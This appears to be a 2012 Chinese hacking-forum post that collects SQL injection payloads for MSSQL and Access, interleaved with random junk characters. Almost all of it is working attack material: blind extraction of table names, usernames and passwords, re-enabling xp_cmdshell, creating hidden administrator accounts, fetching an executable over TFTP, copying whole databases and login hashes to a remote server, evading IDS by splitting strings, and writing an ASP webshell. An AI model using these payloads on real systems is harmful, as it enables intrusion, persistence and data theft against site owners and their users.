中国网络渗透测试联盟

标题: SQL注入语句2 [打印本页]

作者: admin    时间: 2012-9-15 14:32
标题: SQL注入语句2
1..判断有无注入点 ( a3 ?/ c1 ^0 E, d( }1 }: q/ A: ^
; and 1=1 and 1=2 : ~  c0 P- T; B2 a: K7 [5 ^" u
1 q8 r. x) E( F1 A  F" k
4 m: d; y0 @" ?7 _: m1 v" L
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
& P  B9 j. n( O+ iand 0<>(select count(*) from *)
4 f8 u  o3 ?) Y! z! F/ Yand 0<>(select count(*) from admin) ---判断是否存在admin这张表 9 A! M: y. A3 f- ]4 `( S

3 m1 n. x! w$ P7 J+ f! v2 ^4 a# K) B) R6 |1 w/ z
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 7 Y4 y+ B7 ^0 [5 _, v9 k; H
and 0<(select count(*) from admin)
( A( B/ C/ y) I$ `. eand 1<(select count(*) from admin)   ~& y1 |" H( A  O! t
猜列名还有 and (select count(列名) from 表名)>0
- Q( ^1 Y! O: {3 s: e% ~( J  G. r: N% m: F; H

1 C( \! U- I0 z) [& m4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 4 ^  I) f) L' B
and 1=(select count(*) from admin where len(*)>0)--
( d% O' o$ S6 y" G% X: B2 Q5 Sand 1=(select count(*) from admin where len(用户字段名称name)>0) 3 {6 ^& p  X# U
and 1=(select count(*) from admin where len(密码字段名称password)>0)
: ]$ r, `1 F5 O8 Z2 n( h, E* z: C0 G/ {1 B, X0 j- v
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
7 \+ P. v+ T. _. zand 1=(select count(*) from admin where len(*)>0)
( V1 X4 Y* l  O0 i/ `  uand 1=(select count(*) from admin where len(name)>6) 错误 ; a' j: M$ M% ~% [( |6 \+ t: J
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
0 R9 E* l: [* }and 1=(select count(*) from admin where len(name)=6) 正确
* J) M' t; @9 b( h6 z& T
3 }0 ?- M& B1 g, cand 1=(select count(*) from admin where len(password)>11) 正确 8 H+ K# I8 o6 F2 z9 |
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 9 R, Q# n) @4 e$ e
and 1=(select count(*) from admin where len(password)=12) 正确
$ r0 \. h5 ?5 F( Z; H1 m4 _猜长度还有 and (select top 1 len(username) from admin)>5
0 B) i( S% t. N" u+ \/ Z+ [$ v3 \) j3 h+ z& o9 f

8 U9 L4 n  Q$ `3 m6.猜解字符 0 A2 A* B( i6 n' r- g% B: Z
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 $ d: `; g( l; [+ {( b
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
1 K$ t" b9 f; W) E+ `/ ?就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 6 t4 O3 E# Q. j$ }# G
$ m/ X, g- e% y/ u. w! s$ B' @
猜内容还有  and (select top 1 asc(mid(password,1,1)) from admin)>50  用ASC码算
) M, D5 h: l. k5 aand 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
$ S' A! t% p; n6 a0 P, ~这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 4 `# N, q) g* K6 n4 v/ M; B7 M
; N) n( B; _. j0 V1 Z
group by users.id having 1=1--
/ }/ R* N) D0 V3 Ugroup by users.id, users.username, users.password, users.privs having 1=1-- / ^$ I) u$ I" O- e# J( ?$ m! u% [; j
; insert into users values( 666, attacker, foobar, 0xffff )--
1 f) e( S* N8 G/ ~& ^1 M
2 }, r9 b6 S" m, C; t& {* {UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- $ M" D! U3 M/ }
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)- " X1 _" J, f+ ^
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)-
1 [! P5 f: T% B" R" ]$ tUNION SELECT TOP 1 login_name FROM logintable- / v8 [+ g2 o+ v0 K, u8 n0 h) M
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul-- ) _' x4 u1 K- T) z0 Q6 D6 }

  c" D$ z* C/ x看服务器打的补丁=出错了打了SP4补丁
$ X" S# y3 [. u5 k+ [: `; Vand 1=(select @@VERSION)--
* u7 Y; m/ K0 o7 l# L1 v" M% Y2 {
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
1 \2 T7 p" V4 r* N! nand 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
9 G, O. w+ l( d" R4 M' g6 U
$ j+ P: N; C6 p7 a) F; d/ t判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) % Z% M1 v  J0 K# h: |. G
and sa=(SELECT System_user)-- % m3 |0 L9 D- u/ X& H! k+ [
and user_name()=dbo--
3 b* A9 ~" l9 G4 `and 0<>(select user_name()-- 0 _' c* n" R6 l. y* e

  t; \5 w) J8 g; E) `: E4 N1 @/ v: H看xp_cmdshell是否删除
" i6 W( @. i7 O1 [* A6 ]and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- * S$ M6 v, o# ?1 J) j- v# g" T
1 h& i0 S, Z- ^( d
xp_cmdshell被删除,恢复,支持绝对路径的恢复 ' o( _8 Z  _1 ?8 f- d) {
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- - z& {# h* X" D& r4 v
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
! c) s2 f8 U5 C# [* b% ]. K: q. F
4 g( X1 B3 c( H$ S! m# k反向PING自己实验
) d3 r) O, d2 `6 I;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
; Y6 k, q2 U  |% x. V- m+ M; P- M# L6 J; o& x6 P. `
加帐号
- ~, u# n# q" L0 R' s;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
# [% i( p( G6 }3 q: p
, @3 ~7 g6 ~( P, H. n) r创建一个虚拟目录E盘: 0 A. M6 D) t; G/ f8 X3 e0 D
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
, Q! @) a0 T( [& v0 S2 C- S
/ \4 G# {- f/ G1 R' `访问属性:(配合写入一个webshell) 7 x' `) {7 d0 J4 S5 @1 T
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
  `6 u- ?( g" o6 @6 c
8 }7 _3 M% \! M5 H0 r$ q
- x" r# `$ d/ A0 \5 A% LMSSQL也可以用联合查询# ~0 f+ o. |7 `0 b/ y$ |
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
' q# X1 X4 D, g- t2 z) Z8 Z' i' O?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) ! `0 ^' ~7 o$ j1 V

. ~7 X5 J3 y7 [7 H3 `5 X& {4 B. p0 c+ i" a
爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交
9 q0 x9 P/ Q) Y2 V6 y! A: w/ B8 j6 m! C' ~  ~1 V' `
  e. |9 i7 C' j" H, R; e) U1 I5 y! N: {
2 }& F2 T( l; z
得到WEB路径 / m4 O( X- o" A- q. `; f2 d  X
;create table [dbo].[swap] ([swappass][char](255));--
+ J8 z6 D3 {. u7 \$ H" tand (select top 1 swappass from swap)=1-- 4 G! u1 h: D( }% u
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- ( W2 B3 p7 M5 ^/ Q7 @# S
;use ku1;-- ; m3 \) L- T; F1 D
;create table cmd (str image);-- 建立image类型的表cmd
1 l8 n8 d5 B. o5 D; T/ e6 R
# n" n& _. ~- O2 M% k- Q4 Y存在xp_cmdshell的测试过程:
; u4 @3 Q5 Z  k: q+ z4 M* j;exec master..xp_cmdshell dir
( H' D0 J( y* @+ G9 A6 S;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 4 s) n( V9 J& A* u5 ?
;exec master.dbo.sp_password null,jiaoniang$,1866574;-- " L1 g0 y; y- \' Q: i0 l5 z
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- ! g# j* n% v! }3 G: u" \
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- , W! d1 h7 C9 O7 A$ \- W
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- 8 W5 d4 P9 N8 _5 n7 ^+ d% [
exec master..xp_servicecontrol start, schedule 启动服务
2 [$ O6 q4 K4 r1 o# B2 }! U3 R. mexec master..xp_servicecontrol start, server 4 r8 U4 S8 B6 f! T7 M
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
" Q+ u* O) `$ Y* |! @;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add : H7 u; d+ o7 }9 w7 ~
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 $ i( V# l6 f- a) K5 {

: J1 P' I( |. |# w( T2 B;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 1 E) I* S/ o. ]2 A
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ 1 V7 p  @, ?/ A4 d0 O. [
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat " O9 i2 A) [! |+ L1 Q$ _
如果被限制则可以。
7 a8 R5 a0 m+ ?select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
5 ]4 U+ w7 O0 d5 k) U' A8 X! y
查询构造: : r9 g& l  b  u3 Z1 X- Z
SELECT * FROM news WHERE id=... AND topic=... AND ..... " Y- ^. V( y: L- D) G2 ^
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 0 S- T/ ?; W4 `
select 123;--
: D4 C9 w9 k" [;use master;-- & w& Q, i: f% Q1 Q
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
- M6 P5 ~  ?' c# w$ m6 b6 Z  J$ a! A  Zand 1<>(select count(email) from [user]);--
# K* u  ]* `* N7 d. E" Y0 T;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 2 \# l: J2 X$ q# [7 L' c
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
4 c+ {% A0 f. ^9 |;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
) n0 M' r4 ]; C  L& M7 i; r3 ^;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 7 X6 M$ B- {7 v# B9 n
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
5 n8 k( J7 f  h$ }+ y1 U;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- ) P* B2 ~. C) u- Y% m
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 + M) B8 o" X8 f$ B9 L0 P+ {, V
通过查看ffff的用户资料可得第一个用表叫ad
/ g4 o' I, t! Q3 L$ j然后根据表名ad得到这个表的ID 得到第二个表的名字 0 I6 r5 l4 S4 y* L& X
4 @+ y9 E5 `5 f1 {/ c8 ?; G
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
! j% Z& _# K' S; u2 @% S5 Cinsert into users values( 667,123,123,0xffff)--
) r0 v2 G" [8 M  u: Z8 Binsert into users values ( 123, admin--, password, 0xffff)-- $ a: g/ f6 T. x" Y" z4 l$ |" f
;and user>0
( g  I. s0 L4 X5 h2 Q9 }; t& d;and (select count(*) from sysobjects)>0 ; ~5 v4 z! W. C4 d9 w# X
;and (select count(*) from mysysobjects)>0 //为access数据库 / c3 S# u" d8 Z7 b, b  ~2 e

- G0 c. m% W' T) z. T3 `枚举出数据表名
; U5 f( T0 Q7 a  I& h9 U% {;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- : A5 [  u7 K6 e
这是将第一个表名更新到aaa的字段处。 5 F  L, W! D6 y
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
1 y9 X- w/ c9 i" d4 b5 I$ |- \;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
3 L7 V/ R6 t: P3 n, I+ D0 s然后id=1552 and exists(select * from aaa where aaa>5)
5 \5 I8 G( v! d* _6 s# @* p1 m& [* p读出第二个表,一个个的读出,直到没有为止。 ( W( t! O0 i2 r3 P& a0 s2 ]3 G
读字段是这样:   \3 _' @8 w% H, Q2 i
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
8 x4 R! `! b! b+ A! r0 P5 W0 K2 i. l1 [然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 1 \( d9 L$ i$ G- N1 F  d
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
5 k2 [/ n- I4 Q* \( }' e# J6 j然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
* x' j! a$ b4 `) d2 P$ N
  U0 c* I" f/ y3 S' J/ B[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] : o3 P6 V# j4 k! }, T
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
% ?( ^' n, Z; l% j" ?8 K! w- |通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] / u$ T! M+ Y2 O6 X) W$ e  T1 P

3 A9 f- F. H3 E% y[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
# x1 a0 Y1 b, Z1 B4 _5 |9 ]update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件] $ O3 C5 `" ~3 R

" h1 Y" I5 p( b0 |绕过IDS的检测[使用变量] 2 _' C: t: F0 }7 l7 G
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ , k! U; E4 z$ e; S! L
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ " D* v# f" s2 v/ v

/ B! z6 w% U! x& m- C' @8 e1、 开启远程数据库 % h% R( y$ u) \- G
基本语法 2 j: ^/ A- f! b
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) ( T, ]3 f* ]0 |1 {/ C
参数: (1) OLEDB Provider name
! N6 t) e  \7 S$ k& d: {4 L2、 其中连接字符串参数可以是任何端口用来连接,比如 0 @- E6 m5 j, N, ^3 y  k4 g
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table # y7 O% j" g9 ~2 z
3.复制目标主机的整个数据库insert所有远程表到本地表。 0 Y1 i8 B. ~5 H6 o

8 i. |& K  ~, ^" L6 u% X) k基本语法:   Y6 W1 @0 d5 O% p+ w& }
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
. Z, h; f# [, {% c这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: " s1 Y4 Y0 [4 N+ j2 Y0 C
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
1 t* p) p4 N4 i# Finsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
% n; W+ [4 C  Y3 b( t: j: {4 {select * from master.dbo.sysdatabases $ y, Z" m, D3 n* A9 p8 o" B
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
- M$ U. k& G3 c# Mselect * from user_database.dbo.sysobjects
$ q  Z, G7 I1 ^$ n. K" Zinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) ! k1 H+ o' H: L4 ~
select * from user_database.dbo.syscolumns
- m6 M$ b5 G' v3 A9 r复制数据库: 2 M6 a- B% e& ~  a, y9 R3 W8 S4 e
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 2 u+ v8 [) J/ D) n. i
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
7 g  v9 g& D9 }* }. v: F  W6 m* k) x0 N
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
; T: F1 ^/ C. H- rinsert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
$ _* R. |: U. _- x5 K4 R5 `9 d得到hash之后,就可以进行暴力破解。
% t4 w+ X% U+ L
1 x6 d- P/ a7 ?+ m& i遍历目录的方法: 先创建一个临时表:temp 9 F0 J& Z9 M; b$ F6 _2 }2 `, p* o
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! u6 |1 D( n+ S* P1 i- C;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 t( a# N/ M6 m/ B! g; w8 b
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
' F. H4 K2 E' h9 H7 g;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
8 _' p* |8 Z/ I+ b1 ~;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
1 ?! w  O0 x$ B# s6 m8 t' l8 F;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
: {$ t8 W$ C4 |3 _( l;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- : t6 g/ O6 U, O: F' T/ w
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
% ^6 W9 u! P) @) [;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
- p0 I. _; @# o  I' e7 K写入表:
- I; C; R7 L2 N) D语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
  s: F/ I# x- T& l语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- ; x# E5 z+ Z% w- ^6 P: G
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
5 D$ f3 V7 m6 t0 m0 ?2 ^语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
! l6 @$ v9 s* [3 \. E, W' ]语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- $ V7 U. E6 h# ^1 p5 n
语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
  E1 w, `; {- u. k* S3 e& s; c语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
) f3 U* O/ l& s0 y( n  ~语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- # h$ a- {& L0 P# P0 u* x' _
语句9:and 1=(SELECT IS_MEMBER(db_owner));-- $ J# l' N' \- `# C1 r4 T
9 y9 g  p7 E! ~( m- H6 o
把路径写到表中去: 3 k( U3 x0 J0 ^: d* S3 p. E: x2 V
;create table dirs(paths varchar(100), id int)-- ! u' q  W4 R/ v) A$ P4 V
;insert dirs exec master.dbo.xp_dirtree c:\--
- m' n) |9 N. W1 O0 L3 N5 j2 u; sand 0<>(select top 1 paths from dirs)-- " v; ?- L  i0 w* w0 s- z
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
! W  o( }: M* y. A; v;create table dirs1(paths varchar(100), id int)--
$ G# A8 m) k& ?7 O;insert dirs exec master.dbo.xp_dirtree e:\web-- , f& C. s6 n: h5 p. ^$ T# u! o* T7 y
and 0<>(select top 1 paths from dirs1)--
# E3 ?3 ~5 u" J0 E  N" l
2 }) b) o& k6 l: D+ L# g把数据库备份到网页目录:下载
- e) x; w! {4 ^$ q% R;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- ; h/ m/ H$ @2 Q  b- u3 Y

- ^0 i4 I* v3 G) _and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
7 P7 f8 Q% o( b& n- _# Mand 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。 * C0 x4 S% r6 i8 v' |1 h
and 1=(select user_id from USER_LOGIN) 7 p$ r, E8 N8 T8 M6 X
and 0=(select user from USER_LOGIN where user>1)
, |8 ]0 g8 i- b$ s8 v3 w: \- O5 n" L5 F# K$ u, m: o  Q
-=- wscript.shell example -=- + ~  n  W+ x3 r9 p9 z
declare @o int , d! ^. |" S9 N) r: @1 f2 j" U
exec sp_oacreate wscript.shell, @o out 2 A+ Q+ F% t7 N7 w- e  i# |! }( \7 b
exec sp_oamethod @o, run, NULL, notepad.exe
# i3 r7 ~) K, J" r+ J5 v- S; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe--
3 H/ U5 _9 K) \
# h* h7 s) X( hdeclare @o int, @f int, @t int, @ret int
) C$ N4 y$ `- Q* a" N6 y) Odeclare @line varchar(8000) # h  H2 ~* @, `+ b. L* r
exec sp_oacreate scripting.filesystemobject, @o out
; M; `% u/ A9 Z# Nexec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
7 h  ^+ q) u  G* I" gexec @ret = sp_oamethod @f, readline, @line out
2 u7 b: F, D; c5 O& \while( @ret = 0 )
5 {& ]2 o7 N: ~1 F+ d; kbegin
5 _$ i5 g. {) e  i7 Xprint @line 7 {# U" Q" y0 ]
exec @ret = sp_oamethod @f, readline, @line out
' Z+ J' a, N# W: `end ( ^6 W& q* o* W- i2 u9 H! m( G
* p- d" j" F; D
declare @o int, @f int, @t int, @ret int ) ]8 ?# u( r8 s9 l' T0 ?( m9 h
exec sp_oacreate scripting.filesystemobject, @o out 0 }  e( C5 \. l: x) @$ H
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 4 ?7 E. X' w, Z2 e5 Q
exec @ret = sp_oamethod @f, writeline, NULL, ( v9 O0 e; T9 E' g
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
' k1 `$ e$ o( K3 R: i9 j; O! z- e. ?( k
declare @o int, @ret int
. f$ r/ W! G1 H+ I* |& J! Mexec sp_oacreate speech.voicetext, @o out
" R" U. K) j4 a! mexec sp_oamethod @o, register, NULL, foo, bar
8 h. Y" F/ W7 G$ `* f8 s( ~$ R3 E; Rexec sp_oasetproperty @o, speed, 150
' C9 T  P# k: A2 I  z  t2 Q& Uexec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
+ o- v! L& q% G7 dwaitfor delay 00:00:05
3 q- [2 \5 J# [1 _8 |  p& o: I2 n9 z* N( U9 [0 n1 g+ C$ {0 m
; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- ! N/ ?$ B" ?6 s
- u& [% N; m$ V5 W
xp_dirtree适用权限PUBLIC
. C( g: t; f( _# w; y% [exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
0 `, m' T" G. w" W1 Ncreate table dirs(paths varchar(100), id int)
8 M( L* L$ W" V1 Y* \/ l! \建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
! ?$ R/ ~7 J  w" B6 y5 Oinsert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
7 F4 D, f8 ^' w# e# G0 O; p




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2